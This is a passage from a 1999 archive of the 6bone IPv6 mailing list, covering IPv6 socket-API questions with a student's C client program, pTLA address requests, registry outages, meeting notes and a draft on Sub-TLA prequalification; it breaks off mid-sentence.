To: 6bone <6bone@ISI.EDU>
Subject: socket ipv6
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Hello !

Anyone knows where can we get some informations to socket for ipv6 (es
function gethostbyname2, struct in6_addr, getaddresinfo,......)

Thanks !
 

UNIVERSITA' DEGLI STUDI DI FERRARA   -ITALY- 
DIPARTIMENTO DI INGEGNERIA

Rovatti Luca         personal email   lucarov@ing58.unife.it      
Villani Giancarlo    personal email   gianca@ing58.unife.it

G&L email   tesi_tlc@ing240.unife.it
            tesi_tlc@ing248.unife.it


From 6bone-owner  Thu Mar 11 09:35:56 1999
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From: Jim Bound <bound@zk3.dec.com>
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To: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: socket ipv6 
In-reply-to: Your message of "Thu, 11 Mar 1999 17:43:21 +0100."
             <Pine.GSO.3.96.990311173344.10135A-100000@ing240.unife.it> 
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>Anyone knows where can we get some informations to socket for ipv6 (es
>function gethostbyname2, struct in6_addr, getaddresinfo,......)

Please use:

http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-bsd-api-new-06.txt 

RFC 2133 is OBSOLETE.

Does that answer your question?  gethostbyname2 is deprecated by the
above.

There will be a replacement RFC any day now I hope. It is just awaiting
a number.

/jim



From 6bone-owner  Fri Mar 12 03:27:47 1999
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From: "=?ISO-8859-1?B?SvZyZ2VuIEFhcvZl?=" <jorgen.aaroe@netcon.pulsen.se>
To: <6bone@ISI.EDU>
Subject: Ipv6 and NetWare
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Hej,

Dose anyone know the status for Ipv6 on NetWare?

Regards,
Jorgen Aaroe



From 6bone-owner  Fri Mar 12 14:31:07 1999
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Date: Fri, 12 Mar 1999 14:30:57 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for Internet2
Cc: Dale Finkelson <dmf@unl.edu>
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6BONE Folk,

The following pTLA request is to serve the Internet2 (I2) community with
IPv6 production quality service. The I2 project  will approach 200 US major
universities by the end of this year. I have been working with Dale
Finkelson (who is the person responsible for IPv6 activites in the I2
community) since last August planning their IPv6 deployment activity.

Given the scale and scope of the I2 community, I believe this is a very
important step in for IPv6 deployment activities, and strongly support
their becoming a pTLA.

I would like to have comments on this request sent to the list by close of
business 26 March (two weeks from today).


Thanks,

Bob

===
>  My name is Dale Finkelson. I work at the University of Nebraska, I am
also the
>chair of the Internet 2 IPv6 working group. In that capacity I would like to 
>apply for a 6bone pTLA. After looking at the requirements in the routing
document I 
>believe I meet those requirements.
>
>  I have an operational 6bone leaf site now operating within the University 
>of Nebraska.
>
>
>  I am in the process of building an operational IPv6 network operating 
>within the Internet 2 community. This network will be run as a production
level 
>IPv6 network. It will be monitored by a 24 x 7 NOC, it will provide either
native 
>IPv6 or tunneled IPv6 from at least 6 regional aggregation points (called
Gigapops)
>back to the University campuses those gigapops serve. I will have this
network 
>installed and running by May of 1999. The first routers will be in place
by early 
>April. This network will be national in scope, sites will range from the
west coast 
>to the southeast. It will also peer using native IPv6 with other national and 
>international networks at the 6tap.
>
>
>  Because I am serving such a large University community I have a 
>potentially large user community. Equally importantly there is
considerable stress 
>placed on making the user community aware of this network, the importance
of using 
>this network and on finding services within the university and related
communities 
>we can make available within the IPv6 network. 
>
>  We will certainly abide by current operational rules and policies.
>
>Thank you,
>
>Dale Finkelson
>dmf@unl.edu
>
-end

From 6bone-owner  Fri Mar 12 15:22:54 1999
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To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, Dale Finkelson <dmf@unl.edu>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: pTLA request for Internet2 
In-reply-to: Your message of Fri, 12 Mar 1999 14:30:57 PST.
             <4.1.19990312141325.00ad0a20@imap2.es.net> 
Date: Fri, 12 Mar 1999 17:22:45 -0600
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The reason for I2 getting a 6bone pTLA instead of a registry- or
IANA-derived one is to gain experience in renumbering, right?  :-)

				Matt


From 6bone-owner  Fri Mar 12 17:51:46 1999
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Date: Fri, 12 Mar 1999 17:51:35 -0800
To: "Matt Crawford" <crawdad@fnal.gov>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for Internet2 
Cc: 6BONE List <6bone@ISI.EDU>, Dale Finkelson <dmf@unl.edu>
In-Reply-To: <199903122322.RAA27991@gungnir.fnal.gov>
References: <Your message of Fri, 12 Mar 1999 14:30:57 PST.             <4.1.19990312141325.00ad0a20@imap2.es.net>
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At 05:22 PM 3/12/99 -0600, Matt Crawford wrote:
>The reason for I2 getting a 6bone pTLA instead of a registry- or
>IANA-derived one is to gain experience in renumbering, right?  :-)

Well, if we could get a production assigned sTLA that would be great.

However, we still have no clear idea on when this will happen.

In addition, I consider it very good form to have 6bone pTLA credentials
when applying to the registries for an sTLA.


I'll take your comment as a yes on giving a pTLA to Internet2 :-)

Bob

From 6bone-owner  Sun Mar 14 17:01:26 1999
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Date: Mon, 15 Mar 1999 08:58:43 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: 6Bone <6bone@ISI.EDU>, "=?big5?B?s6/AQax3?=" <jjchen@ms.tl.gov.tw>,
        "
	=?big5?B?prar26Zw?=" <yjchui@ms.chttl.com.tw>,
        "=?big5?B?qkyuyrFY?=" 
	<jl0@ms.chttl.com.tw>,
        "=?big5?B?qtq7yg==?=" <fred@ms.chttl.com.tw>,
        "
	=?big5?B?3063rA==?=" <yhf@ms.chttl.com.tw>,
        "=?big5?B?s82lrQ==?=" 
	<kaiping@ms.chttl.com.tw>,
        "=?big5?B?w2it9A==?=" 
	<marslin@ms.chttl.com.tw>
Subject: about 6Bone registry server
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 Hi:
	It seems that the 6Bone registry server has been down for some times because there is not response about my registry update.
						Chu
						CHTTL-TW

From 6bone-owner  Sun Mar 14 22:15:52 1999
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Date: Mon, 15 Mar 1999 00:05:53 -0600
To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>,
        "=?big5?B?s6/AQax3?=" <jjchen@tl9000.tl.gov.tw>,
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From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: about 6Bone registry server
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At 08:58 99-03-15 +0800, Yann-Ju Chu wrote:
> Hi:
>	It seems that the 6Bone registry server has been down for some times 
>because there is not response about my registry update.
>						Chu
>						CHTTL-TW

Yeap. the registry has been down since many days. David is trying to fix
it.  We are running a mirror of it so you can browse it
(http://www.viagenie.qc.ca/en/ipv6/whois.html)  but we don't accept updates
now.  We had the plan to make redundancy for updates, but this is not done yet.

Regards, Marc.


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Mon Mar 15 04:22:26 1999
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Date: Mon, 15 Mar 1999 13:22:09 +0100 (MET)
From: Pontus Lidman <pontus@lysator.liu.se>
Reply-To: Pontus Lidman <pontus@lysator.liu.se>
To: 6Bone <6bone@ISI.EDU>
Subject: Trouble creating ipv6-site object
Message-ID: <Pine.GSO.3.96rindlow.990315131726.22484C-100000@tintin.lysator.liu.se>
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Hello.

I'm playing around with IPv6 at my local network, trying to learn
something. I've been offered a tunnel to the 6bone through SICS. However,
I have some troubles creating an ipv6-site object in the RIPE registry.
Specifically, how do I obtain the values that should go into the "origin"
and "ipv6-site" mandatory fields?

Regards,

Pontus





From 6bone-owner  Mon Mar 15 21:58:02 1999
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From: Brendan <brendan@ec.co.za>
To: 6Bone <6bone@ISI.EDU>
Subject: Removal fromt Mailing list
Date: Tue, 16 Mar 1999 07:59:36 +0200
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I would like to be removed fromt this list.
How do I go about it?

Regards,
Brendan

From 6bone-owner  Mon Mar 15 22:17:30 1999
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Date: Mon, 15 Mar 1999 22:17:08 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for FIBEREL/AR
Cc: "Patricio Latini" <platini@dynamo.com.ar>
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6bone Folk,

Below is Patricio Latini's request for a pTLA for Fibertel in Argentina. Please
return your comments to me by close of business on 30 March 1999 so I can
process this per your comments.


Thanks,

Bob

===
>
> From: "Patricio Latini" <platini@dynamo.com.ar>
> To: <fink@es.net>
> Subject: Aplying for pTLA
> Date: Sat, 13 Mar 1999 00:19:27 -0300
>
> Hello Bob:
>                 I am interested in apply for been a pTLA, these are the
> fundaments for my aplication, 
>  
> 1) We are the biggest Cable Modem provider in Latin America (more than 2000
> installed an more than 2.000.000 of houses passed)
> 2) We have the biggest ring of fiber optic in Bs. As. and we are expanding
> our to cover all the country
> 3) We are the only ISP in argentina running a ATM ring to serve multiple
> points.
> 4) We are provider a leased lines to other isps, enterprises, and othe
> companies.
> 5) I have been experimented with IPv6 and now i am conected to multiple pTLAs
> (vBNS ::/32, 3COM, BAYNetworks, Digital, Sprint)and i have a cisco router
> running BGP4+. We have connected one experimental network with many hosts and
> many plataforma like Sun, Linux and Windows NT.
> 6) We can be the first pTLA in Latinamerica and we can give connection the
> other people interested in the 6bone project reducing the link times between
> these users end the whole 6bone using our uplink.
> 7) Because Latin America had an spectacular grow of internet in the las 5
> years specially Argentina.
> 8) My company is very interested in the proyect and in the research of new
> technologies.
> 9) Because it is very important that 6bone tree grow in all the directions
> and we can be the trunk of the tree for the region.
> 10) Because we have the fastest uplink to the USA in the region.
>  
> Well these are some of the reasons that made me think that we can be a
> potential pTLA, and i saw that i meet with all the requirements told in the
> 6bone page.
>  
> If you have some question please ask to me..
>  
> Thanks
>  
> Patricio Latini
> Fibertel TCI2
> Argentina



--=====================_63824106==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
6bone Folk,<br>
<br>
Below is Patricio Latini's request for a pTLA for Fibertel in Argentina.
Please return your comments to me by close of business on 30 March 1999
so I can process this per your comments.<br>
<br>
<br>
Thanks,<br>
<br>
Bob<br>
<br>
===<br>
<blockquote type=cite cite>From: &quot;Patricio Latini&quot;
&lt;platini@dynamo.com.ar&gt;<br>
To: &lt;fink@es.net&gt;<br>
Subject: Aplying for pTLA<br>
Date: Sat, 13 Mar 1999 00:19:27 -0300<br>
<br>
<font size=2>Hello Bob:</font><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
I am interested in apply for been a pTLA, these are the fundaments for my
aplication, <br>
&nbsp;<br>
<font size=2>1) We are the biggest Cable Modem provider in Latin America
(more than 2000 installed an more than 2.000.000 of houses
passed)</font><br>
2) We have the biggest ring of fiber optic in Bs. As. and we are
expanding our to cover all the country<br>
3) We are the only ISP in argentina running a ATM ring to serve multiple
points.<br>
4) We are provider a leased lines to other isps, enterprises, and othe
companies.<br>
5) I have been experimented with IPv6 and now i am conected to multiple
pTLAs (vBNS ::/32, 3COM, BAYNetworks, Digital, Sprint)and i have a cisco
router running BGP4+. We have connected one experimental network with
many hosts and many plataforma like Sun, Linux and Windows NT.<br>
6) We can be the first pTLA in Latinamerica and we can give connection
the other people interested in the 6bone project reducing the link times
between these users end the whole 6bone using our uplink.<br>
7) Because Latin America had an spectacular grow of internet in the las 5
years specially Argentina.<br>
8) My company is very interested in the proyect and in the research of
new technologies.<br>
9) Because it is very important that 6bone tree grow in all the
directions and we can be the trunk of the tree for the region.<br>
10) Because we have the fastest uplink to the USA in the region.<br>
&nbsp;<br>
<font size=2>Well these are some of the reasons that made me think that
we can be a potential pTLA, and i saw that i meet with all the
requirements told in the 6bone page.</font><br>
&nbsp;<br>
<font size=2>If you have some question please ask to me..</font><br>
&nbsp;<br>
<font size=2>Thanks</font><br>
&nbsp;<br>
<font size=2>Patricio Latini</font><br>
Fibertel TCI2<br>
Argentina</blockquote><br>
</html>

--=====================_63824106==_.ALT--


From 6bone-owner  Mon Mar 15 22:26:04 1999
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Date: Mon, 15 Mar 1999 22:25:44 -0800
To: Brendan <brendan@ec.co.za>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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Brendan,

At 07:59 AM 3/16/99 +0200, Brendan wrote:
>I would like to be removed fromt this list.
>How do I go about it?

>From the 6bone mail list web page:

"To unsubscribe from the 6bone mail list, send a message to
majordomo@isi.edu with the line unsubscribe 6bone as the contents of the
message."


Thanks,

Bob

From 6bone-owner  Tue Mar 16 02:13:49 1999
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To: brendan@ec.co.za (Brendan)
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In-Reply-To: <99031608003301.00717@lexx.ec.co.za> from "Brendan" at Mar 16, 99 07:59:36 am
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> 
> I would like to be removed fromt this list.
> How do I go about it?
> 
> Regards,
> Brendan
> 

the same way you got on...

send mail to majordomo@isi.edu
in the body, unsubscribe 6bone


-- 
--bill

From 6bone-owner  Wed Mar 17 09:54:23 1999
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Date: Wed, 17 Mar 1999 18:54:12 +0100 (MET)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
cc: cmetz@inner.net
Subject: function connect ipv6 
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  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---559023410-851401618-921693252=:20297
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Hi !
We are 2 italian students !

We are tried to make a IPv6 application, but when we try to open a connect
in IPv6 addreswe have : 
invalid argument  
Where is the problem ?
The function connect doesn't work good,but the function gethostbyname2
works good 
This is my client v6 in c code :

/* client v6 */
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include </usr/inet6/include/sys/types.h>
#include <sys/socket.h>
#include </usr/inet6/include/sys/socket.h>
#include <netinet/in.h>
#include </usr/inet6/include/netinet/in6.h>
#include <netdb.h>
#define DIM_BUFF 256

main (int argc, char *argv[])
{
  int sd, fd, nread, i ;
  char buff[DIM_BUFF] ;
  int fromlen, copiati ;
  struct hostent *host ;    /* ptr a info per host remoto */
  struct sockaddr_in6 rem_indirizzo ; /* per indirizzo socket remota */
if (argc != 3)  {
       printf ("Usage Error: %s nomenodo nomefile\n", argv[0]) ;
       exit (1) ;
}

memset ((char *)&rem_indirizzo, 0, sizeof(struct sockaddr_in6)) ;

/* Preparazione indirizzo remoto a cui connettersi */
rem_indirizzo.sin6_family = AF_INET6 ;
host = gethostbyname2(argv[1],AF_INET6) ;
if (host == NULL)  {
                 printf("%s not found in /etc/hosts\n",argv[1]);
                 exit (2) ;
}
for (i=0; i < 16 ; i++)  {

rem_indirizzo.sin6_addr.s6_addr[i]=((struct in6_addr *)
                                  (host->h_addr))->s6_addr[i] ;
}
rem_indirizzo.sin6_port = 12345 ; /* possibile uso htons() */

sd=socket (AF_INET6, SOCK_STREAM, 0);

printf("ho apero la socket con valore %i\n",sd);

if(connect(sd,(struct sockaddr *) &rem_indirizzo,
                             sizeof(struct sockaddr))<0)  {
           perror("Errore in connect");
           exit (1) ;
}
if (write(sd, argv[2], strlen(argv[2])+1)<0)  {
    perror("write") ;
    exit (1);
}
if ((nread=read(sd,buff,DIM_BUFF))<0) {
    perror("read"); exit(1) ; }
if (buff[0] == 'S' )  {
     if ((fd=open(argv[2], O_RDONLY))<0)  {perror("open") ; exit(1);}

     while ((nread=read(fd, buff, DIM_BUFF))>0)
           write (sd, buff, nread) ;
     close (sd) ;  /* ho spedito il file */
     printf("File spedito\n") ;

}   else
       printf ("Il file %s esiste, termino\n",argv[1]) ;
close (sd) ;
exit(0) ;
}


We attach also serverv6.c !

Questions : where is C code to function 'connect' ? the function 'connect'
has some problems if rem_indirizzo has IPv6 addres ?
We have very small documentation about new structure IPv6.

Could anyone help us ??

UNIVERSITA' DEGLI STUDI DI FERRARA   -ITALY- 
DIPARTIMENTO DI INGEGNERIA

Rovatti Luca         personal email   lucarov@ing58.unife.it      
Villani Giancarlo    personal email   gianca@ing58.unife.it

G&L email   tesi_tlc@ing240.unife.it
     

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From 6bone-owner  Mon Mar 22 20:05:11 1999
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: test for bob
To: 6bone@ISI.EDU
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This is a test for Bob Fink.  Sorry for the wasted BW

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Wed Mar 24 00:48:00 1999
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To: 6bone@ISI.EDU
Cc: v6@wide.ad.jp
Subject: APNIC and WIDE meeting log.
From: Yuji SEKIYA <sekiya@sfc.wide.ad.jp>
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APNIC membres and WIDE members had a meeting about sTLA allocation.
This is the meeting log.


APNIC and WIDE 6bone registries meeting
		Wednesday 17, March	11:30-


Definition of draft.
	Definition of IX.
	Definition of site.
		What is ISP , IX , site ?
	Clear definition of ISP and other sites.
	Condition of providing sTLA IDs.

	2 pTLA are exit in Japan.
		WIDE & NTT.
		WIDE includes some commercial ISPs.
	
	Static assignment for dial up connenction.
		Address Binding.
		Is it a lifetime lease ?
		Is it a IPng's issue or Registries' issue ?
			It's a registries' issue.

Renumbering
	renumbering is untested.
	expect to determination.
	Renumbering sTLA to TLA in 3 month.
	Motivation to develop Router Renumbering and auto router
	configuration mechanism.
		But for developpers not for users and ISPs.
	Renumbering is too hard for ISPs.
	Considering for customer.
	No experience of renumbering in large scale.

Slow start.
	We consider to run out sTLA.
	initial assignment = 50
	Condition for getting a sTLA ID.
		How many ISPs which meet the conditions
		do exist in 6bone-JP ?
			about 4 sites.

Address Allocation
	Initial allocation = /35
		it is convenient than /29.
	50 initial assignment.
	Future allocation
		Provide 50 sTLA ISs for bootstrap priod.
		Registration base providing.
		starting is slow allocation step by step.

	An idea in case of running out sTLA.
		1. split another TLA into sTLA.
		2. split another sTLA into smaller range.
		3. revoke under utiluzed alloc.

	Registries think that 2 is best strategy.

Motivation.
	Difficult to define of verify criteria.
	Fair start to everyone.
	Future alloc.

Routing Problem.
	Incremental scale of prefix lengths establishes various
	prefixes.
	Can be used to make rational decisions on routability.

	Rational decision is impossible under only 2 prefixes.
						(TLA & sTLA)
		ISPs prefix.
		Registries define many various prefixes.

Next steps.
	New draft out in two or three weeks.
	Circulate membership.
		Membership is important.
			-> Anyone who wants sTLA IS should be a
				membership.
	
	Registries will start to alloc sTLA in 1st May.

Reverse DNS.
	Deligation issues.
	/35 is better for deligation.
	The setting of DNS Delegation 
	Many delegation point of DNS are required.

	DNS operation.
		The registries are resposnsible for delegation of DNS.
		We should consider DNS operation.

	Initial routing prefix = /35
		If a site want an another sTLA ID, the registries give 
		a sTLA ID which has shorter prefix.

	Delegation point will be canged
	corresponding the lenght of sTLA ID.
		/35	2
		/34	4
		/33	8
		/32	1    <- It is easy to operate.

APNIC membership
	IPv6 membership same as IPv4 membership.

Aggregation points.
	
	+-------+-------+-------+----------------+
	0	1024	2048	3072		8192
		Defferent memberships at each aggregation point.

	Minimam allocation of NLA ??


Why /35 ?
				    /19		/32
	IPv6	+--+----------------+-----------+
			sTLA		NLA
			19bits		13bits

				    /19		/32
	IPv4	+-------------------+-----------+
			19bits		13 bits
		      Network ID	Host ID

	Same as IPv4 prefix.

------------
Yuji SEKIYA	sekiya@sfc.wide.ad.jp / sekiya@v6.linux.or.jp

From 6bone-owner  Thu Mar 25 14:56:19 1999
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Date: Thu, 25 Mar 1999 18:03:41 -0500
From: Nathan Dorfman <nathan@rtfm.net>
To: 6bone@ISI.EDU
Subject: New Tunnel
Message-ID: <19990325180339.A9345@rtfm.net>
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I recently mailed Jimmy Kyriannis (the contact for NYU's 6bone presense),
to ask for a tunnel for a few machines at my house. He replied that
while he'd be happy to add a tunnel, there has been a recent desire to
keep the 6bone topology somewhat parallel to the existing IPv4 one.
Makes sense. As suggested, I'm e-mailing the list to find out what the
canonical link point for me would be.

*drum roll*

My gateway to the net: limbo.rtfm.net/216.44.71.116
(all behind a 56k analog line, don't worry about bandwidth ;()

I'm on fcc.net, which is on new-york.net/verio.net and uu.net. I'd
prefer going through verio, as we've been seeing all kinds of lossage
through uunet (lost packets, router loops, extreme lag). The closets
sites seem to be IBM (whose contact I received no reply from) and
NYU (who pointed me here).

If it matters, the systems I intend to use are FreeBSD, NetBSD,
OpenBSD, Linux, perhaps Solaris is IPv6 is available with their
free* setup (off-topic: anyone know)?

I would really appreciate such a link. This seems like a great
opportunity to play with emerging network protocols and expand my
knowledge of current internetworking topics. Thanks!
-- 
Nathan Dorfman <nathan@rtfm.net>         The statements and opinions in my
Unix Admin @ Frontline Communications    usenet posts are mine, not FCC's.
"The light at the end of the tunnel is the headlight of an approaching
train." --/usr/games/fortune

From 6bone-owner  Wed Mar 31 02:43:02 1999
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Date: Wed, 31 Mar 1999 12:42:40 +0200 (MET DST)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
Subject: Chimera Proxy 
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Hello !

  we have linux system(Mandrake 5.3 kernel 2.1.126) with ipv6 support.
We use chimera-2.0a14+ipv6-1.
Is it possible to configure chimera for use proxy machine ????
How can we configure the source code for proxy use ??

          ________________________________ .....
      ____|____         ____|____
      |chimera|         | proxy |
      | host  |         |machine|
      |_______|         |_______|

Thanks a lot.
                                              G & L

------------------------------------------------------------------------------
UNIVERSITA' DEGLI STUDI DI FERRARA   -ITALY- 
DIPARTIMENTO DI INGEGNERIA

Rovatti Luca         personal email   lucarov@ing58.unife.it      
Villani Giancarlo    personal email   gianca@ing58.unife.it

G&L email   tesi_tlc@ing240.unife.it
      


From 6bone-owner  Wed Mar 31 06:26:21 1999
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Date: Wed, 31 Mar 1999 16:26:35 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: Tunnel Broker software
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
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Hi all,

the first version (v1.0) of the Tunnel Broker implementation developed
at CSELT is now available at http://carmen.cselt.it/ipv6/download.html.
We have also established a Tunnel Broker mailing list for discussion on
any problems related to software installation/usage and for future software
announcements.
You can subscribe the CSELT TB mailing list by sending an e-mail to
majordomo@jester.cselt.it with the following command in the BODY 
of the message:

     subscribe tb

At present our implementation supports:
- clients running IPv6 Inria FreeBSD or 
  IPv6 for Windows NT (Microsoft Research) 
- Tunnel Servers running IPv6 Inria FreeBSD

Anyway due to the plugin-like architecture of our software it is easy 
to add support for new IPv6 platforms.
If you are interested in developing the missing components just follow 
the instructions provided in the README file included in the distribution 
and then send your scripts to the CSELT TB list so that
anyone can start using them.

Bye
Ivano


---------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.it
---------------------------------------------


From 6bone-owner  Wed Mar 31 09:10:57 1999
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From: "Allan Edgard Silva Freitas" <allan@cefetba.br>
To: <6Bone@ISI.EDU>
Subject: Apache Server
Date: Wed, 31 Mar 1999 14:08:18 -0300
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I'd like to know about apache IPv6 ports for linux... I'm using a Linux box
with kernel 2.2.2 and apache 1.3a1 ported by Craig Metz but it doesn't
working properly (I don't know why). We we access using a Ipv4 address it's
working well, but with IPv4 address the page came slowly. If someone want
to test then go to http://fazendeiro.ipv6.cefetba.br. Someone can help us?

allan
CEFET-BA

From 6bone-owner  Sun Apr  4 16:48:08 1999
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Date: Sun, 04 Apr 1999 16:40:56 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone Prequalification for Sub-TLA assignment
Cc: Kim Hubbard <kimh@arin.net>, Paul Wilson <pwilson@apnic.net>,
        Mirjam Kuhne <mir@ripe.net>, Daniel Karrenberg <daniel@ripe.net>,
        Brian E Carpenter <brian@hursley.ibm.com>,
        Bob Hinden <hinden@iprg.nokia.com>, Steve Deering <deering@cisco.com>,
        Tony Hain <tonyhain@microsoft.com>,
        Alain Durand <Alain.Durand@imag.fr>, Randy Bush <randy@psg.com>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>
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6bone Folk, 

At the recent Minneapolis IETF meetings, the three RIR registries (APNIC,
ARIN and RIPE-NCC) had meetings with various groups about their recent
draft proposal for policies regarding the assignment of production IPv6
Sub-TLA address prefixes. One of the most difficult aspects of their policy
(for them and for the IPv6 community) is to figure out how to go safely
between the two extremes of either giving Sub-TLAs away too easily, or
making it too difficult to get them.

If Sub-TLAs are given away too easily, they will be encouraging non-ipv6
providers to get theirs now, i.e., the land rush model which could easily
fill up the TLA/Sub-TLA space with networks, sites, and organizations that
simply want to make sure they have a TLA/Sub-TLA, even if they don't need
one now or really qualify (i.e., they have no intent on putting up IPv6
service and/or are simply not higher level transits).

Alternatively, if Sub-TLAs are too hard to get, especially in the early
days of IPv6 deployment, it will discourage providers from putting up IPv6
service, may give the impression that IPv6 doesn't help the address space
problem at all, thus greatly impeding the progress of IPv6 deployment and
transition, and even pose a legal risk to the registries.

During the meetings and discussions with the registries during the IETF
week, the idea of potentially using the 6bone as some sort of
prequalification for getting Sub-TLAs from the RIRs was proposed. This
could be especially useful during the "bootstrap" phase of IPv6 deployment
and address assignement (say 6 months to 24 months max). This idea was well
received by the RIRs, the IAB, the IPv6 co-chairs and various folk in the
IPv6 community. Thus the idea was pursued with a first draft reviewed by
the IAB, the RIRs and the IPv6 co-chairs. Now it is time for getting
comments from the 6bone community, which is the purpose of this email.

An overview of the idea is that a network wanting a Sub-TLA would go
through the process of joining the 6bone to become a pTLA (for which rules
and procedures are in place, and soon to be reworked based on the 6bone
hardening effort now underway), and after spending 3 months as a pTLA would
ask for a "fitness report" from the 6bone community (actually a small
oversight group) to be made to the relevant RIR so that a Sub-TLA could be
assigned (thought it will still be the RIR making the actual decision and
assignment).

Note that the RIRs will soon reissue a draft incorporating other ideas and
comments from various sources, and will continue to have Sub-TLA
prequalification criteria independent of the ideas presented here. Also
note that the RIRs will still be the folk in charge of deciding who gets
TLA/Sub-TLAs. Our processes, if adopted, will only be advisory to the RIRs.

So, please review this carefully and send your comments to the full list
above (unless you have some reason to say something in private to someone!).


This will be open for discussion until 19 April '99, at which time the IAB,
RIRs and IPv6 co-chairs will decide whether to move forward on an agreement
about this or not, based on comments received. 


Thanks,

Bob

------------------
6bone Prequalification for Sub-TLA Assignment - draft 2, April 4, 1999 -
Bob Fink

The following is a draft to describe how the 6bone might be used as a
prequalification step during the "bootstrap" phase of Sub-TLA assignment by
the Regional Internet Registries (RIRs):

It is predicated on the following facts:

F1. the 6bone community represents the world-wide IPv6 operational
networking community as of early 1999, including all existing IPv6
providers and users in the world, operating under the only IPv6 address
allocation and authority in place at that time, i.e., the 3FFE::/16
allocation to the 6bone under RFC 2471 ("IPv6 Testing Address Allocation")
<ftp://ftp.isi.edu/in-notes/rfc2471.txt>.

F2. the 6bone has a well defined address structure underneath the RFC 2471
allocation for high-level (top tier) transit service providers, know as a
Pseudo-TLA (pTLA), that all the known top level IPv6 transit providers are
part of. See <http://www.6bone.net/6bone-testv2-addr-usage.html> for
documentation of the pTLA structure. The pTLA structure is modeled on the
TLA structure and serves as a proving/testing ground for those structures. 

F3. the 6bone process for becoming a Pseudo-TLA (pTLA) is well defined and
accepted by the 6bone community. See
<http://www.6bone.net/6bone-routing-practice.htm> Section 7 for Guidelines
for 6Bone pTLA sites. It has just been made Informational RFC 2546.

F4. the 6bone community as a whole is willing to provide their knowledge,
experience and opinions as part of a process to help "bootstrap" the
Sub-TLA (sTLA) address allocation process for the RIRs.

===
6bone Prequalification for Sub-TLAs 

S1. the sTLA requestor (sTR) places their Sub-TLA request with the
appropriate RIR and declares that they intend to use the 6bone
prequalification process (6PP).

S2. the sTR (and the RIR?) notifies the 6bone list of their intent to use
the 6PP.

S3. the sTR follows the published process for becoming a pTLA (This will
change by the end of the OSLO IETF meetings as the 6bone hardening process
is approved by the NGtrans 6bone community). At the present time this
process is documented by [RFC 2546] Section 7. This process currently
requires 2-3 months minimum, based on this current practice, from the time
of first joining the 6bone as a end-site network.

S4. after the sTR has been approved as a pTLA, and operating as a pTLA for
3 months with at least y customers (either lower level transits or
end-sites) (recommend 3 customers), the pTR petitions the 6bone mailing
list for support of its request for a Sub-TLA based on its performance as a
pTLA, providing relevant proof or statement of how and/or why they believe
they have met current 6bone backbone practices (currently as in RFC 2546).

S5. a 6bone steering group (consisting of 3-5 persons established by 6bone
participant consensus) prepares a short 6bone fitness report report (6FR)
based on input received from 6bone participants (note this means members of
pTLAs, pNLAs or end-sites organizations, not just mailing list subscribers)
and factual information of compliance with established pTLA rules extant at
the time (currently RFC 2546) and submits this report (the 6FR) to the
appropriate regsitry (will need a well established contact point for the
three IRRs).

S6. if after the minimum time for the steps above, plus 1 (2?) month(s),
the sTR may protest to the appropriate RIR of non-responsiveness and revert
to another qualification process per RIR rules (unrelated to the 6PP).

S7. after assignment of an sTLA to the sTR (by the RIR), the sTR may
optionally renumber from the 6bone pTLA prefeix to the sTLA prefix, or
continue use of their pTLA. If the pTLA space becomes over subscribed, the
most likely networks to be asked to surrender their pTLA would be those
holding production number space.

===
Misc. Notes:

N1. currently the RFC 2546 doc is being reworked under the 6bone hardening
process now underway, which will almost certainly yield a stronger set of
rules on what it takes to become a pTLA.

N2. the current RFC 2546 doc does not specify a prequalification time as a
pNLA or end-site 6bone site prior to requesting a pTLA, so it is
recommended that a minimum of 2 months be specified (prior to the new rules
being published after Oslo).

N3. in S6. above, the total time from start of the 6PP until a protest
could be made to the RIR, would be in the 6-8 months minimum (2-3 mos.
while becoming a pTLA, 3 mos. while a pTLA, plus 1-2 mos.).

N4. we need a way to handle existing pTLA sites that should not really have
an sTLA as they are not production networks, rather they were created to
"bootstrap" the 6bone or help a specific testing user community. This might
include sites like INNER, TELEBIT, VIAGENIE, CISCO, NRL, UO, 3COM, MERIT,
BT-LABS. Note that DIGITAL (now COMPAQ) is different in that they are
acting as a real IPv6 exchange thus have not been included in the previous
list. It is doubtful that these site would ask, but if they did it would be
